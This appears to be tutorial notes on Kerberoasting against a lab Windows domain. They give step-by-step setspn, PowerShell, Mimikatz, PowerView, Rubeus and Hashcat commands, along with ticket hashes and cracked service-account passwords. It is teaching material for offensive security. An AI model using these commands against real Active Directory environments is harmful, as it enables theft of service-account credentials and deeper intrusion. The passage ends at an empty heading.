Kerberoasting - Windows

Kerberoasting - Semi Manual method

Enumerating SPNs with setspn.exe

C:\xyz> setspn.exe -Q */*

Checking domain DC=LEGALCORP,DC=LOCAL
CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=LEGALCORP,DC=LOCAL
        exchangeAB/ACADEMY-EA-DC01
        exchangeAB/ACADEMY-EA-DC01.legalcorp.local
        TERMSRV/ACADEMY-EA-DC01
        TERMSRV/ACADEMY-EA-DC01.legalcorp.local
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ACADEMY-EA-DC01.legalcorp.local
        ldap/ACADEMY-EA-DC01.legalcorp.local/ForestDnsZones.legalcorp.local
        ldap/ACADEMY-EA-DC01.legalcorp.local/DomainDnsZones.legalcorp.local

<SNIP>

CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
        backupjob/veam001.legalcorp.local
CN=SOLARWINDSMONITOR,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
        sts/legalcorp.local

<SNIP>

CN=sqlprod,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
        MSSQLSvc/SPSJDB.legalcorp.local:1433
CN=sqlqa,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
        MSSQLSvc/SQL-CL01-01legalcorp.local:49351
CN=sqldev,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
        MSSQLSvc/DEV-PRE-SQL.legalcorp.local:1433
CN=adfs,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
        adfsconnect/azure01.legalcorp.local

Existing SPN found!

Focus on user accounts and ignore the computer accounts returned by the tool. Next, we can request TGS tickets for an account in the shell above and load them into memory. Once they are loaded into memory, we can extract them using Mimikatz.

Targeting a Single User

PS C:\xyz> Add-Type -AssemblyName System.IdentityModel
PS C:\xyz> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.legalcorp.local:1433"

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:36:22 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.legalcorp.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Break down of the commands above to see what we are doing (which is essentially what is used by Rubeus when using the default Kerberoasting method):

• The Add-Type cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object
• The -AssemblyName parameter allows us to specify an assembly that contains types that we are interested in using
• System.IdentityModel is a namespace that contains different classes for building security token services
• We'll then use the New-Object cmdlet to create an instance of a .NET Framework object
• We'll use the System.IdentityModel.Tokens namespace with the KerberosRequestorSecurityToken class to create a security token and pass the SPN name to the class to request a Kerberos TGS ticket for the target account in our current logon session

We can also choose to retrieve all tickets using the same method, but this will also pull all computer accounts, so it is not optimal.

PS C:\xyz> setspn.exe -T legalcorp.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-3
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:56:18 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : exchangeAB/ACADEMY-EA-DC01
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-4
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:56:18 PM
ValidTo              : 2/24/2022 11:58:18 PM
ServicePrincipalName : kadmin/changepw
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-5
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:56:18 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : WSMAN/ACADEMY-EA-MS01
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

<SNIP>

The above command combines the previous command with setspn.exe to request tickets for all accounts with SPNs set.

Extracting Tickets from Memory with Mimikatz

Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export  

<SNIP>

[00000002] - 0x00000017 - rc4_hmac_nt      
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL.legalcorp.local:1433 @ legalcorp.local
   Client Name       : user @ legalcorp.local
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ; 
====================
Base64 of file : 2-40a10000-user@MSSQLSvc~DEV-PRE-SQL.legalcorp.local~1433-legalcorp.local.kirbi
====================
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T
UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE
rQSCBKmBMUn7JhVJpqG0ll7UnRuoeoyRtHxTS8JY1cl6z0M4QbLvJHi0JYZdx1w5
sdzn9Q3tzCn8ipeu+NUaIsVyDuYU/LZG4o2FS83CyLNiu/r2Lc2ZM8Ve/rqdd+TG
xvUkr+5caNrPy2YHKRogzfsO8UQFU1anKW4ztEB1S+f4d1SsLkhYNI4q67cnCy00
UEf4gOF6zAfieo91LDcryDpi1UII0SKIiT0yr9IQGR3TssVnl70acuNac6eCC+Uf
vyd7g9gYH/9aBc8hSBp7RizrAcN2HFCVJontEJmCfBfCk0Ex23G8UULFic1w7S6/
V9yj9iJvOyGElSk1VBRDMhC41712/sTraKRd7rw+fMkx7YdpMoU2dpEj9QQNZ3GR
XNvGyQFkZp+sctI6Yx/vJYBLXI7DloCkzClZkp7c40u+5q/xNby7smpBpLToi5No
ltRmKshJ9W19aAcb4TnPTfr2ZJcBUpf5tEza7wlsjQAlXsPmL3EF2QXQsvOc74Pb
TYEnGPlejJkSnzIHs4a0wy99V779QR4ZwhgUjRkCjrAQPWvpmuI6RU9vOwM50A0n
h580JZiTdZbK2tBorD2BWVKgU/h9h7JYR4S52DBQ7qmnxkdM3ibJD0o1RgdqQO03
TQBMRl9lRiNJnKFOnBFTgBLPAN7jFeLtREKTgiUC1/aFAi5h81aOHbJbXP5aibM4
eLbj2wXp2RrWOCD8t9BEnmat0T8e/O3dqVM52z3JGfHK/5aQ5Us+T5qM9pmKn5v1
XHou0shzgunaYPfKPCLgjMNZ8+9vRgOlry/CgwO/NgKrm8UgJuWMJ/skf9QhD0Uk
T9cUhGhbg3/pVzpTlk1UrP3n+WMCh2Tpm+p7dxOctlEyjoYuQ9iUY4KI6s6ZttT4
tmhBUNua3EMlQUO3fzLr5vvjCd3jt4MF/fD+YFBfkAC4nGfHXvbdQl4E++Ol6/LX
ihGjktgVop70jZRX+2x4DrTMB9+mjC6XBUeIlS9a2Syo0GLkpolnhgMC/ZYwF0r4
MuWZu1/KnPNB16EXaGjZBzeW3/vUjv6ZsiL0J06TBm3mRrPGDR3ZQHLdEh3QcGAk
0Rc4p16+tbeGWlUFIg0PA66m01mhfzxbZCSYmzG25S0cVYOTqjToEgT7EHN0qIhN
yxb2xZp2oAIgBP2SFzS4cZ6GlLoNf4frRvVgevTrHGgba1FA28lKnqf122rkxx+8
ECSiW3esAL3FSdZjc9OQZDvo8QB5MKQSTpnU/LYXfb1WafsGFw07inXbmSgWS1Xk
VNCOd/kXsd0uZI2cfrDLK4yg7/ikTR6l/dZ+Adp5BHpKFAb3YfXjtpRM6+1FN56h
TnoCfIQ/pAXAfIOFohAvB5Z6fLSIP0TuctSqejiycB53N0AWoBGT9bF4409M8tjq
32UeFiVp60IcdOjV4Mwan6tYpLm2O6uwnvw0J+Fmf5x3Mbyr42RZhgQKcwaSTfXm
5oZV57Di6I584CgeD1VN6C2d5sTZyNKjb85lu7M3pBUDDOHQPAD9l4Ovtd8O6Pur
+jWFIa2EXm0H/efTTyMR665uahGdYNiZRnpm+ZfCc9LfczUPLWxUOOcaBX/uq6OC
AQEwgf6gAwIBAKKB9gSB832B8DCB7aCB6jCB5zCB5KAbMBmgAwIBF6ESBBB3DAVi
Ys6KmIFpubCAqyQcoRUbE0lOTEFORUZSRUlHSFQuTE9DQUyiGDAWoAMCAQGhDzAN
GwtodGItc3R1ZGVudKMHAwUAQKEAAKURGA8yMDIyMDIyNDIzMzYyMlqmERgPMjAy
MjAyMjUwODU1MjVapxEYDzIwMjIwMzAzMjI1NTI1WqgVGxNJTkxBTkVGUkVJR0hU
LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================

   * Saved to file     : 2-40a10000-user@MSSQLSvc~DEV-PRE-SQL.legalcorp.local~1433-legalcorp.local.kirbi

<SNIP>

If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files. Depending on our position on the network and if we can easily move files to our attack host, this can be easier when we go to crack the tickets. Let's take the base64 blob retrieved above and prepare it for cracking.

Preparing the Base64 Blob for Cracking

neutron@kali[/kali]$ echo "<base64 blob>" |  tr -d \\n 

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

Placing the Output into a File as .kirbi

neutron@kali[/kali]$ cat encoded_file | base64 -d > sqldev.kirbi

Next, we can use this version of the kirbi2john.py tool to extract the Kerberos ticket from the TGS file.

neutron@kali[/kali]$ python2.7 kirbi2john.py sqldev.kirbi

This will create a file called crack_file. We then must modify the file a bit to be able to use Hashcat against the hash.

neutron@kali[/kali]$ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

Now we can check and confirm that we have a hash that can be fed to Hashcat.

neutron@kali[/kali]$ cat sqldev_tgs_hashcat 

$krb5tgs$23$*sqldev.kirbi*$813149fb261549a6a1b4965ed49d1ba8$7a8c91b47c534bc258d5c97acf433841b2ef2478b425865dc75c39b1dce7f50dedcc29fc8a97aef8d51a22c5720ee614fcb646e28d854bcdc2c8b362bbfaf62dcd9933c55efeba9d77e4c6c6f524afee5c68dacfcb6607291a20cdfb0ef144055356a7296e33b440754be7f87754ac2e4858348e2aebb7270b2d345047f880e17acc07e27a8f752c372bc83a62d54208d12288893d32afd210191dd3b2c56797bd1a72e35a73a7820be51fbf277b83d8181fff5a05cf21481a7b462ceb01c3761c50952689ed1099827c17c2934131db71bc5142c589cd70ed2ebf57dca3f6226f3b21849529355414433210b8d7bd76fec4eb68a45deebc3e7cc931ed8769328536769123f5040d6771915cdbc6c90164669fac72d23a631fef25804b5c8ec39680a4cc2959929edce34bbee6aff135bcbbb26a41a4b4e88b936896d4662ac849f56d7d68071be139cf4dfaf66497015297f9b44cdaef096c8d00255ec3e62f7105d905d0b2f39cef83db4d812718f95e8c99129f3207b386b4c32f7d57befd411e19c218148d19028eb0103d6be99ae23a454f6f3b0339d00d27879f342598937596cadad068ac3d815952a053f87d87b2584784b9d83050eea9a7c6474cde26c90f4a3546076a40ed374d004c465f654623499ca14e9c11538012cf00dee315e2ed444293822502d7f685022e61f3568e1db25b5cfe5a89b33878b6e3db05e9d91ad63820fcb7d0449e66add13f1efceddda95339db3dc919f1caff9690e54b3e4f9a8cf6998a9f9bf55c7a2ed2c87382e9da60f7ca3c22e08cc359f3ef6f4603a5af2fc28303bf3602ab9bc52026e58c27fb247fd4210f45244fd71484685b837fe9573a53964d54acfde7f963028764e99bea7b77139cb651328e862e43d894638288eace99b6d4f8b6684150db9adc43254143b77f32ebe6fbe309dde3b78305fdf0fe60505f9000b89c67c75ef6dd425e04fbe3a5ebf2d78a11a392d815a29ef48d9457fb6c780eb4cc07dfa68c2e97054788952f5ad92ca8d062e4a68967860302fd9630174af832e599bb5fca9cf341d7a1176868d9073796dffbd48efe99b222f4274e93066de646b3c60d1dd94072dd121dd0706024d11738a75ebeb5b7865a5505220d0f03aea6d359a17f3c5b6424989b31b6e52d1c558393aa34e81204fb107374a8884dcb16f6c59a76a0022004fd921734b8719e8694ba0d7f87eb46f5607af4eb1c681b6b5140dbc94a9ea7f5db6ae4c71fbc1024a25b77ac00bdc549d66373d390643be8f1007930a4124e99d4fcb6177dbd5669fb06170d3b8a75db9928164b55e454d08e77f917b1dd2e648d9c7eb0cb2b8ca0eff8a44d1ea5fdd67e01da79047a4a1406f761f5e3b6944cebed45379ea14e7a027c843fa405c07c8385a2102f07967a7cb4883f44ee72d4aa7a38b2701e77374016a01193f5b178e34f4cf2d8eadf651e162569eb421c74e8d5e0cc1a9fab58a4b9b63babb09efc3427e1667f9c7731bcabe3645986040a7306924df5e6e68655e7b0e2e88e7ce0281e0f554de82d9de6c4d9c8d2a36fce65bbb337a415030ce1d03c00fd9783afb5df0ee8fbabfa358521ad845e6d07fde7d34f2311ebae6e6a119d60d899467a66f997c273d2df73350f2d6c5438e71a057feeab

Cracking the Hash with Hashcat

neutron@kali[/kali]$ hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt 

<SNIP>

$krb5tgs$23$*sqldev.kirbi*$813149fb261549a6a1b4965ed49d1ba8$7a8c91b47c534bc258d5c97acf433841b2ef2478b425865dc75c39b1dce7f50dedcc29fc8a97aef8d51a22c5720ee614fcb646e28d854bcdc2c8b362bbfaf62dcd9933c55efeba9d77e4c6c6f524afee5c68dacfcb6607291a20cdfb0ef144055356a7296e33b440754be7f87754ac2e4858348e2aebb7270b2d345047f880e17acc07e27a8f752c372bc83a62d54208d12288893d32afd210191dd3b2c56797bd1a72e35a73a7820be51fbf277b83d8181fff5a05cf21481a7b462ceb01c3761c50952689ed1099827c17c2934131db71bc5142c589cd70ed2ebf57dca3f6226f3b21849529355414433210b8d7bd76fec4eb68a45deebc3e7cc931ed8769328536769123f5040d6771915cdbc6c90164669fac72d23a631fef25804b5c8ec39680a4cc2959929edce34bbee6aff135bcbbb26a41a4b4e88b936896d4662ac849f56d7d68071be139cf4dfaf66497015297f9b44cdaef096c8d00255ec3e62f7105d905d0b2f39cef83db4d812718f95e8c99129f3207b386b4c32f7d57befd411e19c218148d19028eb0103d6be99ae23a454f6f3b0339d00d27879f342598937596cadad068ac3d815952a053f87d87b2584784b9d83050eea9a7c6474cde26c90f4a3546076a40ed374d004c465f654623499ca14e9c11538012cf00dee315e2ed444293822502d7f685022e61f3568e1db25b5cfe5a89b33878b6e3db05e9d91ad63820fcb7d0449e66add13f1efceddda95339db3dc919f1caff9690e54b3e4f9a8cf6998a9f9bf55c7a2ed2c87382e9da60f7ca3c22e08cc359f3ef6f4603a5af2fc28303bf3602ab9bc52026e58c27fb247fd4210f45244fd71484685b837fe9573a53964d54acfde7f963028764e99bea7b77139cb651328e862e43d894638288eace99b6d4f8b6684150db9adc43254143b77f32ebe6fbe309dde3b78305fdf0fe60505f9000b89c67c75ef6dd425e04fbe3a5ebf2d78a11a392d815a29ef48d9457fb6c780eb4cc07dfa68c2e97054788952f5ad92ca8d062e4a68967860302fd9630174af832e599bb5fca9cf341d7a1176868d9073796dffbd48efe99b222f4274e93066de646b3c60d1dd94072dd121dd0706024d11738a75ebeb5b7865a5505220d0f03aea6d359a17f3c5b6424989b31b6e52d1c558393aa34e81204fb107374a8884dcb16f6c59a76a0022004fd921734b8719e8694ba0d7f87eb46f5607af4eb1c681b6b5140dbc94a9ea7f5db6ae4c71fbc1024a25b77ac00bdc549d66373d390643be8f1007930a4124e99d4fcb6177dbd5669fb06170d3b8a75db9928164b55e454d08e77f917b1dd2e648d9c7eb0cb2b8ca0eff8a44d1ea5fdd67e01da79047a4a1406f761f5e3b6944cebed45379ea14e7a027c843fa405c07c8385a2102f07967a7cb4883f44ee72d4aa7a38b2701e77374016a01193f5b178e34f4cf2d8eadf651e162569eb421c74e8d5e0cc1a9fab58a4b9b63babb09efc3427e1667f9c7731bcabe3645986040a7306924df5e6e68655e7b0e2e88e7ce0281e0f554de82d9de6c4d9c8d2a36fce65bbb337a415030ce1d03c00fd9783afb5df0ee8fbabfa358521ad845e6d07fde7d34f2311ebae6e6a119d60d899467a66f997c273d2df73350f2d6c5438e71a057feeab:database!

<SNIP>

If we decide to skip the base64 output with Mimikatz and type mimikatz # kerberos::list /export, the .kirbi file (or files) will be written to disk. In this case, we can download the file(s) and run kirbi2john.py against them directly, skipping the base64 decoding step.

---

Automated/Tool based route

Using PowerView to Extract TGS Tickets

PS C:\xyz> Import-Module .\PowerView.ps1
PS C:\xyz> Get-DomainUser * -spn | select samaccountname

samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa
solarwindsmonitor

Example: Target a specific user and retrieve the TGS ticket in Hashcat format.

PS C:\xyz> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

<SNIP>

Finally, we can export all tickets to a CSV file for offline processing.

PS C:\xyz> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\lcorp_tgs.csv -NoTypeInformation

PS C:\xyz> cat .\lcorp_tgs.csv

"SamAccountName","DistinguishedName","ServicePrincipalName","TicketByteHexStream","Hash"
"adfs","CN=adfs,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL","adfsconnect/azure01.legalcorp.local",,"$krb5tgs$23$*adfs$legalcorp.local$adfsconnect/azure01.legalcorp.local*$59C086008BBE7EAE4E483506632F6EF8$622D9E1DBCB1FF2183482478B5559905E0CCBDEA2B52A5D9F510048481F2A3A4D2CC47345283A9E71D65E1573DCF6F2380A6FFF470722B5DEE704C51FF3A3C2CDB2945CA56F7763E117F04F26CA71EEACED25730FDCB06297ED4076C9CE1A1DBFE961DCE13C2D6455339D0D90983895D882CFA21656E41C3DDDC4951D1031EC8173BEEF9532337135A4CF70AE08F0FB34B6C1E3104F35D9B84E7DF7AC72F514BE2B346954C7F8C0748E46A28CCE765AF31628D3522A1E90FA187A124CA9D5F911318752082FF525B0BE1401FBA745E1

<SNIP>

---

Using Rubeus

PS C:\xyz> .\Rubeus.exe

<SNIP>

Roasting:

    Perform Kerberoasting:
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting, outputting hashes to a file:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

<SNIP>

We can first use Rubeus to gather some stats. From the output below, we can see that there are nine Keberoastable users, seven of which support RC4 encryption for ticket requests and two of which support AES 128/256. We also see that all nine accounts had their password set this year (2022 at the time of writing). If we saw any SPN accounts with their passwords set 5 or more years ago, they could be promising targets as they could have a weak password that was set and never changed when the organization was less mature.

PS C:\xyz> .\Rubeus.exe kerberoast /stats

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] Listing statistics about target users, no ticket requests being performed.
[*] Target Domain          : legalcorp.local
[*] Searching path 'LDAP://ACADEMY-EA-DC01.legalcorp.local/DC=LEGALCORP,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 9


 ------------------------------------------------------------
 | Supported Encryption Type                        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                                 | 7     |
 | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2     |
 ------------------------------------------------------------

 ----------------------------------
 | Password Last Set Year | Count |
 ----------------------------------
 | 2022                   | 9     |
 ----------------------------------

Let's use Rubeus to request tickets for accounts with the admincount attribute set to 1. These would likely be high-value targets and worth our initial focus. Specify the /nowrap flag so that the hash can be more easily copied down for offline cracking using Hashcat.

PS C:\xyz> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : legalcorp.local
[*] Searching path 'LDAP://ACADEMY-EA-DC01.legalcorp.local/DC=LEGALCORP,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))'

[*] Total kerberoastable users : 3


[*] SamAccountName         : backupagent
[*] DistinguishedName      : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=LEGALCORP,DC=LOCAL
[*] ServicePrincipalName   : backupjob/veam001.legalcorp.local
[*] PwdLastSet             : 2/15/2022 2:15:40 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*backupagent$legalcorp.local$backupjob/[email protected]*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57286F1B1E86CD16CB3266827E2BE2A151EC5845DCC59DA1A39C1BA3784BA8502A4340A90AB1F8D4869318FB0B2BEC2C8B6C688BD78BBF6D58B1E0A0B980826842165B0D88EAB7009353ACC9AD4FE32811101020456356360408BAD166B86DBE6AEB3909DEAE597F8C41A9E4148BD80CFF65A4C04666A977720B954610952AC19EDF32D73B760315FA64ED301947142438B8BCD4D457976987C3809C3320725A708D83151BA0BFF651DFD7168001F0B095B953CBC5FC3563656DF68B61199D04E8DC5AB34249F4583C25AC48FF182AB97D0BF1DE0ED02C286B42C8DF29DA23995DEF13398ACBE821221E8B914F66399CB8A525078110B38D9CC466EE9C7F52B1E54E1E23B48875E4E4F1D35AEA9FBB1ABF1CF1998304A8D90909173C25AE4C466C43886A650A460CE58205FE3572C2BF3C8E39E965D6FD98BF1B8B5D09339CBD49211375AE612978325C7A793EC8ECE71AA34FFEE9BF9BBB2B432ACBDA6777279C3B93D22E83C7D7DCA6ABB46E8CDE1B8E12FE8DECCD48EC5AEA0219DE26C222C808D5ACD2B6BAA35CBFFCD260AE05EFD347EC48213F7BC7BA567FD229A121C4309941AE5A04A183FA1B0914ED532E24344B1F4435EA46C3C72C68274944C4C6D4411E184DF3FE25D49FB5B85F5653AD00D46E291325C5835003C79656B2D85D092DFD83EED3ABA15CE3FD3B0FB2CF7F7DFF265C66004B634B3C5ABFB55421F563FFFC1ADA35DD3CB22063C9DDC163FD101BA03350F3110DD5CAFD6038585B45AC1D482559C7A9E3E690F23DDE5C343C3217707E4E184886D59C677252C04AB3A3FB0D3DD3C3767BE3AE9038D1C48773F986BFEBFA8F38D97B2950F915F536E16E65E2BF67AF6F4402A4A862ED09630A8B9BA4F5B2ACCE568514FDDF90E155E07A5813948ED00676817FC9971759A30654460C5DF4605EE5A92D9DDD3769F83D766898AC5FC7885B6685F36D3E2C07C6B9B2414C11900FAA3344E4F7F7CA4BF7C76A34F01E508BC2C1E6FF0D63AACD869BFAB712E1E654C4823445C6BA447463D48C573F50C542701C68D7DBEEE60C1CFD437EE87CE86149CDC44872589E45B7F9EB68D8E02070E06D8CB8270699D9F6EEDDF45F522E9DBED6D459915420BBCF4EA15FE81EEC162311DB8F581C3C2005600A3C0BC3E16A5BEF00EEA13B97DF8CFD7DF57E43B019AF341E54159123FCEDA80774D9C091F22F95310EA60165C805FED3601B33DA2AFC048DEF4CCCD234CFD418437601FA5049F669FEFD07087606BAE01D88137C994E228796A55675520AB252E900C4269B0CCA3ACE8790407980723D8570F244FE01885B471BF5AC3E3626A357D9FF252FF2635567B49E838D34E0169BDD4D3565534197C40072074ACA51DB81B71E31192DB29A710412B859FA55C0F41928529F27A6E67E19BE8A6864F4BC456D3856327A269EF0D1E9B79457E63D0CCFB5862B23037C74B021A0CDCA80B43024A4C89C8B1C622A626DE5FB1F99C9B41749DDAA0B6DF9917E8F7ABDA731044CF0E989A4A062319784D11E2B43554E329887BF7B3AD1F3A10158659BF48F9D364D55F2C8B19408C54737AB1A6DFE92C2BAEA9E

neutron@kali[/kali]$ hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt 

hashcat (v6.1.1) starting...

<SNIP>64bea80dc3608b6c8c14f244cbaa083443eb59d9ef3599fca72c6997c824b87cf7f7ef6621b3eaa5aa0119177fc480a20b82203081609e42748920274febb94c3826d57c78ad93f04400dc9626cf978225c51a889224e3ed9e3bfdf6a4d6998c16d414947f9e157cb1594b268be470d6fb489c2c6c56d2ad564959c5:welcome1$

<SNIP>

---

Encryption Types

